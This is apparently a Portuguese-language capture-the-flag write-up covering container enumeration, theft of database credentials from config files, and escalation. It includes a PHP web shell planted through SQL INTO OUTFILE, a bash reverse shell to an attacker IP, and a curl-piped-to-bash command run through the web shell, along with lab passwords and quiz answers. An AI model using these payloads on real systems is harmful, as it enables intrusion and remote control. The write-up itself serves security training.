Docker

Task 16

Depois de estabilizar o shell, podemos começar com a enumeração pós-exploração, ou seja, encontrar maneiras de escalar privilégios.

Em um sistema Linux padrão, deve estar bastante vazio. No entanto, no contêiner, o arquivo é preenchido com entradas do grupo de controle, podemos confirmar que estamos em uma instância docker

www-data@f3d5e5247683:/var/www/admin$ cat /proc/1/cgroup
cat /proc/1/cgroup
12:freezer:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
11:blkio:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
10:hugetlb:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
9:net_cls,net_prio:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
8:devices:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
7:cpu,cpuacct:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
6:rdma:/
5:perf_event:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
4:cpuset:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
3:pids:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
2:memory:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
1:name=systemd:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
0::/system.slice/containerd.service

Podemos verificar o endereço ip do conteiner

www-data@f3d5e5247683:/var/www/admin$ ifconfig 
ifconfig 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255
        ether 02:42:c0:a8:64:64  txqueuelen 0  (Ethernet)
        RX packets 2807  bytes 207794 (207.7 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2111  bytes 5269303 (5.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 428  bytes 240317 (240.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 428  bytes 240317 (240.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

O endereço IP atual é 192.168.100.100. O gateway do contêiner pode ser determinado com arp -a.

www-data@f3d5e5247683:/var/www/admin$ arp -a
arp -a
ip-192-168-100-1.eu-west-1.compute.internal (192.168.100.1) at 02:42:b2:6e:75:35 [ether] on eth0

Agora vamos verificar se existe alguma porta aberta neste container

www-data@f3d5e5247683:/var/www/admin$ for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
</dev/tcp/192.168.100.1/$i && echo Port $i open;done
Port 22 open
Port 80 open
Port 3306 open
Port 8080 open

Aqui, vemos que o gateway possui 4 portas abertas:

  • Porta 22 – SSH

  • Porta 80 e Porta 8080 – servidores web

  • Porta 3306 – SQL

Qual é o gateway padrão para o contêiner Docker?

192.168.100.1

Qual é a porta web alta aberta no gateway do contêiner?

8080

Qual é a porta baixa do banco de dados aberta no gateway do contêiner?

3306

Task 17

No /var/www/wordpress/diretório, encontramos um arquivo chamado wp-config.php. Este arquivo contém credenciais do banco de dados. No entanto, DB_HOSTrefere-se a localhost, que não é nosso alvo. Portanto, essas provavelmente não são as credenciais que desejamos. Ainda os manteremos em mente.

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'admin' );

/** MySQL database password */
define( 'DB_PASSWORD', 'DBManagerLogin!' );

A seguir, no /var/www/admindiretório, existe um arquivo chamado db_connect.php. Este arquivo contém exatamente o que estávamos procurando! Credenciais de banco de dados para o DB_SRB 192.168.100.1!

www-data@f3d5e5247683:/var/www/admin$ cat db_connect.php

<?php

define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');

$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);

if($connection == false){

        die("Error: Connection to Database could not be made." . mysqli_connect_error());
}
?>

Agora podemos utilizar as credenciais obtidas para nos conectarmos ao servidor SQL em 192.168.100.1

www-data@2981aa3e2c18:/var/www/admin$ mysql -u admin -p 192.168.100.1
Enter password: 

Isso nos dá acesso total ao banco de dados! Agora podemos pesquisar dados confidenciais. O mais interessante para nós seriam algumas credenciais que poderiam ser usadas para acesso SSH ao gateway.

Qual é o endereço do servidor do banco de dados remoto?

192.168.100.1

Qual é a senha do banco de dados remoto?

!123SecureAdminDashboard321!

Qual é o nome de usuário do banco de dados remoto?

admin

Qual é o nome do banco de dados remoto?

DashboardDB

Qual nome de usuário pode ser encontrado no próprio banco de dados?

gurag

Exploração do SQL - Task 18

Vamos injetar um código PHP para obter execução de comando.

select '<?php $cmd=$_GET["savi"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell_savi.php';

Com qual usuário o banco de dados está sendo executado?

www-data

Task 19

Então, vamos estabelecer um shell reverso. Portanto, como pode ser visto na captura de tela abaixo, primeiro criamos uma carga útil de shell reverso. Em seguida, hospedamos essa carga em um arquivo em um servidor HTTP.

cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.50.74.4/4444 0>&1

Agora podemos iniciar um ouvinte usando Netcat ou Metasploit para capturar seu shell reverso depois de executado.

  • nc -lvnp 4444

Pode usar o RCE para obter um shell na máquina do alvo. Comando usado:

curl 'http://192.168.100.1:8080/shell_savi.php?savi=curl%20http%3A%2F%2F10.50.74.4%3A900%2Fshell.sh%7Cbash%20%26'

E com obtemos o shell reverso em nossa máquina

Last updated